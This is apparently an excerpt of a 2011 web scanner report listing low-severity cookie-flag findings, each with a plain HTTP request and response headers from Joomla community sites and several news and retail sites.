<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.greenmaven.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:45:08 GMT Server: Apache/1.3.41 (Unix) mod_fastcgi/2.4.2 mod_scgi/1.12 PHP/5.2.14 mod_psoft_traffic/0.2 mod_ssl/2.8.31 OpenSSL/0.9.8b mod_macro/1.1.2 X-Powered-By: PHP/5.2.14 Set-Cookie: 979fda0e3f6e7c8e8a6a222280b2695d=bfb4s1od493fairspf4tr05d04; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:45:09 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 44572
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /washington-dc/subscribe?utm_source=Google&utm_medium=cpc&utm_campaign=Explorer&d=District_of_Columbia_-_Washington&p=joomlacode.org&a=Text/ HTTP/1.1 Host: www.groupon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/2011/jan/24/amazon-lovefilm-deal-films/x22 HTTP/1.1 Host: www.guardian.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:45:10 GMT Server: Apache Set-Cookie: GU_MU=VFQyc2xncjZER1lBQUJLMGhWRUFBQURPfDRITzhrOE5rMFFuWjR0VzZTc2w4T3c9PQ==; path=/; domain=.guardian.co.uk; expires=Thu, 21-Jan-2021 16:45:10 GMT Set-Cookie: GU_LOCATION=dXNhOjU6Zmw6NDpob2xseXdvb2Q6NDo1Mjg6YnJvYWRiYW5kOiAyNi4wNDg6LTgwLjEyNUAxNjUyMzAyMjA5OTIyMDEyMjc5MjUzMjQyMTgxNDM4NTIzOTEyMDU4NDU=; path=/; domain=.guardian.co.uk; expires=Mon, 14-Feb-2011 16:45:10 GMT Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent X-GU-httpd: 07 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/2011/jan/24/amazon-lovefilm-deal-films/x26amp HTTP/1.1 Host: www.guardian.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:45:09 GMT Server: Apache Set-Cookie: GU_MU=VFQyc2xRcjdERGtBQUJLenJTa0FBQUFhfElYV0o2UkFvL21wbDQ3R2hEWDJ0R2c9PQ==; path=/; domain=.guardian.co.uk; expires=Thu, 21-Jan-2021 16:45:09 GMT Set-Cookie: GU_LOCATION=dXNhOjU6Zmw6NDpob2xseXdvb2Q6NDo1Mjg6YnJvYWRiYW5kOiAyNi4wNDg6LTgwLjEyNUAxNjEyOTYyMTg1OTMxNDExNDAzMjk3MTEyMDIxMDkyNzIzOTg3NTQ=; path=/; domain=.guardian.co.uk; expires=Mon, 14-Feb-2011 16:45:09 GMT Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent X-GU-httpd: 58 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/2011/jan/24/amazon-lovefilm-deal-films/x26source/x3duniv/x26sa/x3dX/x26ei/x3dh5I9TauLMMK88gazprSzCg/x26sqi/x3d2/x26ved/x3d0CHcQtgowCg/x22/x3eShared HTTP/1.1 Host: www.guardian.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:45:12 GMT Server: Apache Set-Cookie: GU_MU=VFQyc21BcjdERGtBQUJLenJaZ0FBQUF2fGoxRDF3NkVwdXoyRzRZSm85RTN1Q1E9PQ==; path=/; domain=.guardian.co.uk; expires=Thu, 21-Jan-2021 16:45:12 GMT Set-Cookie: GU_LOCATION=dXNhOjU6Zmw6NDpob2xseXdvb2Q6NDo1Mjg6YnJvYWRiYW5kOiAyNi4wNDg6LTgwLjEyNUAxNjUyMzAyMjA5OTIyMDEyMjc5MjUzMjQyMTgxNDM4NTIzOTEyMDU4NDU=; path=/; domain=.guardian.co.uk; expires=Mon, 14-Feb-2011 16:45:12 GMT Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent X-GU-httpd: 58 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /berita-joomla/648-joomla-16-telah-datang HTTP/1.1 Host: www.id-joomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:45:23 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Set-Cookie: 49291818acdf6a0853370bd89db83d1e=s0aevrt4jrilpgl4pva0tih570; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:45:23 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 45105
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/projekt/joomla-16-ist-fertig.html HTTP/1.1 Host: www.jgerman.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:25 GMT Server: HTTPD P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 1d57acaeed6d03414d456a7cab9b5e05=ve36hni7tqkcjanm1ea6nul5kasiunjn; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:27 GMT Cache-Control: max-age=33135480, public Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 28139
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-de" lang="de-de" dir=" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.jobalot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:03:33 GMT Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.9 mod_python/3.2.8 Python/2.4.3 X-Powered-By: PHP/5.2.9 Set-Cookie: CAKEPHP=aa3f49188b2ff5e884e64b9583b43ed3; expires=Fri, 25-Jan-2036 06:03:33 GMT; path=/; domain=.jobalot.com P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Length: 7082 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Jobs and Employment ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.joomla-serbia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Set-Cookie: 917e8d5468e5e337c185e281d4187e98=03qc1as1mst2j6bva2la4dfq87; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 16:01:19 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Date: Mon, 24 Jan 2011 16:01:19 GMT Server: DCLXVI Content-Length: 21055
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sr-yu" lang="sr-yu" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /notes-mainmenu-2/1-darreres/2083-el-joomla-16-ja-es-aqui HTTP/1.1 Host: www.joomla.cat Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:13:10 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 9314da27e21679ef814c2e3616267759=aggn177rv95albeviplr0a2it1; path=/ Last-Modified: Mon, 24 Jan 2011 16:13:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 16937
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ca-es" lang="ca-es" > ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /les-news-joomla/13-news-officielles/1032-joomla-1-6 HTTP/1.1 Host: www.joomla.fr Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:52 GMT Server: Apache X-Powered-By: PHP/5.2.0 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 71961420e1faf09c5b938fb398f13f9d=f1c7cc8ce03b201034ffdeab744b7845; path=/ Set-Cookie: afuj-template_tpl=afuj-template; expires=Sat, 14-Jan-2012 15:57:53 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 15:57:53 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 20171
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- definition du type XHTML --> <ht ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /--46/93-joomla-1-6/447-joomla-new-1-6 HTTP/1.1 Host: www.joomla.gr Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:15 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: c0680a25a7d50af5bbee3643e0254219=a232897d27119dcf55e1ca99d18ca2fc; path=/ Last-Modified: Mon, 24 Jan 2011 15:15:15 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 26469
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="el-gr" lang="el-gr" > <h ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /notizie/4691-e-arrivato-joomlar-160.html HTTP/1.1 Host: www.joomla.it Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:05:42 GMT Server: Apache/2 X-Powered-By: PHP/5.2.9 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: User-Agent,Accept,Accept-Encoding Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 9ceb0f1becdca810c0080330d5ccb5f5=b5f02fcebb7f5e7d0e462177081c5aff; path=/ Last-Modified: Mon, 24 Jan 2011 16:05:42 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 30832
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it-it" lang="it-it" > <h ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.joomla.org Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:20:15 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" X-Content-Encoded-By: Joomla! 1.5 Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 205e0a4a54bf75ec79a0fa3b9dc85fc0=41c830520f611d83ab14393c6f4ccb01; path=/ Last-Modified: Mon, 24 Jan 2011 02:20:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 46035
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <he ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /16/ HTTP/1.1 Host: www.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11952431.1295835652.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=11952431.1446326731.1295835652.1295835652.1295835652.1; __utmc=11952431; __utmb=11952431.5.10.1295835652; 205e0a4a54bf75ec79a0fa3b9dc85fc0=41c830520f611d83ab14393c6f4ccb01;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:22:44 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 0c293deadc13e094debc5ff2622f129c=32c8df9d491ff8e9baed7f318c4c18f3; path=/ Last-Modified: Mon, 24 Jan 2011 02:22:44 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 9206
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > <head> <base href="http://www ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /joomla/46-kiadasok/272-megerkezett-a-joomla-16.html HTTP/1.1 Host: www.joomla.org.hu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:12:02 GMT Server: Apache X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: a3c8e20ef07ced04de7a742c67ea7041=c47f7e47ae59d11b65fa8cc931aa7381; path=/ Set-Cookie: juah_tpl=juah; expires=Sat, 14-Jan-2012 15:12:03 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 15:12:03 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/joomla-official-news/163-joomla16-arrived HTTP/1.1 Host: www.joomla.org.tw Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: a798c6463d2f54ee9d166568119e0c09=806uqp0b11fh0lrh0emunokum3; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:14 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 56494
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh-tw" lang="zh-tw" dir=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /component/content/article/1-lansari/55-a-aparut-joomla-16 HTTP/1.1 Host: www.joomla.ro Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:28 GMT Server: Apache/2.2.11 (Mandriva Linux/PREFORK-10.10mdv2009.1) X-Powered-By: PHP/5.2.14 Set-Cookie: 0c17e6df7eeb8e50e6f6c79b91bcb8d6=8907c23320caff3200df60ba86a0f9cc; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: JRomania_tpl=JRomania; expires=Sat, 14-Jan-2012 15:15:28 GMT; path=/ Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:15:29 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 19287
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /nieuws/joomla-versies/572-joomla-16-nu-beschikbaar.html HTTP/1.1 Host: www.joomlacommunity.eu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:07 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: f2b89666f144681ba17ab9a0996f50e0=fc830a5138c7cd5b8f7f3fa60df9a70c; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:12 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 64750
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script src="http://www.jo ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /joomla-news/608-joomla-16-has-arrived.html HTTP/1.1 Host: www.joomlacorner.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:02 GMT Server: Apache/2 X-Powered-By: PHP/5.2.16 Set-Cookie: 992260232bef5a730b1bd291176df96d=4a98f8c53f4541210928f4c67e558242; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: ja_anion_tpl=ja_anion; expires=Sat, 14-Jan-2012 15:16:02 GMT; path=/ Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:16:02 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31997
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /nyheter/joomla/552-joomlar-16-er-utgitt HTTP/1.1 Host: www.joomlainorge.no Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:22 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 536a515975b0bb224c84dbf364570dc5=d25c0652ad8dc304e171cefb60e2e9c9; path=/ Last-Modified: Mon, 24 Jan 2011 15:15:25 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42125
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nb-no" lang="nb-no" dir= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /comunidade-joomlapt/139-joomla-16-ja-chegou.html HTTP/1.1 Host: www.joomlapt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:51 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=ojepc2gnaddk51l2fk130dsb57; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: ja_social_tpl=ja_social; expires=Sat, 14-Jan-2012 15:55:51 GMT; path=/ Expires: Cache-Control: private Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32648
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /makaleler/46-joomla-16.html HTTP/1.1 Host: www.jt.gen.tr Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:14 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 619eb53f4a8cd392a6fe48a16c891436=63427cbf922f139568c46da3ddcb18be; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:15 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 21921
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="tr-tr" lang="tr-tr" > <he ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.kwitco.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.lexus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html Cache-Control: max-age=173136 Expires: Thu, 27 Jan 2011 04:48:20 GMT Date: Tue, 25 Jan 2011 04:42:44 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=204.245.162.37.78011295930564514; expires=Wed, 22-Aug-2012 17:30:00 GMT; path=/ Content-Length: 51157
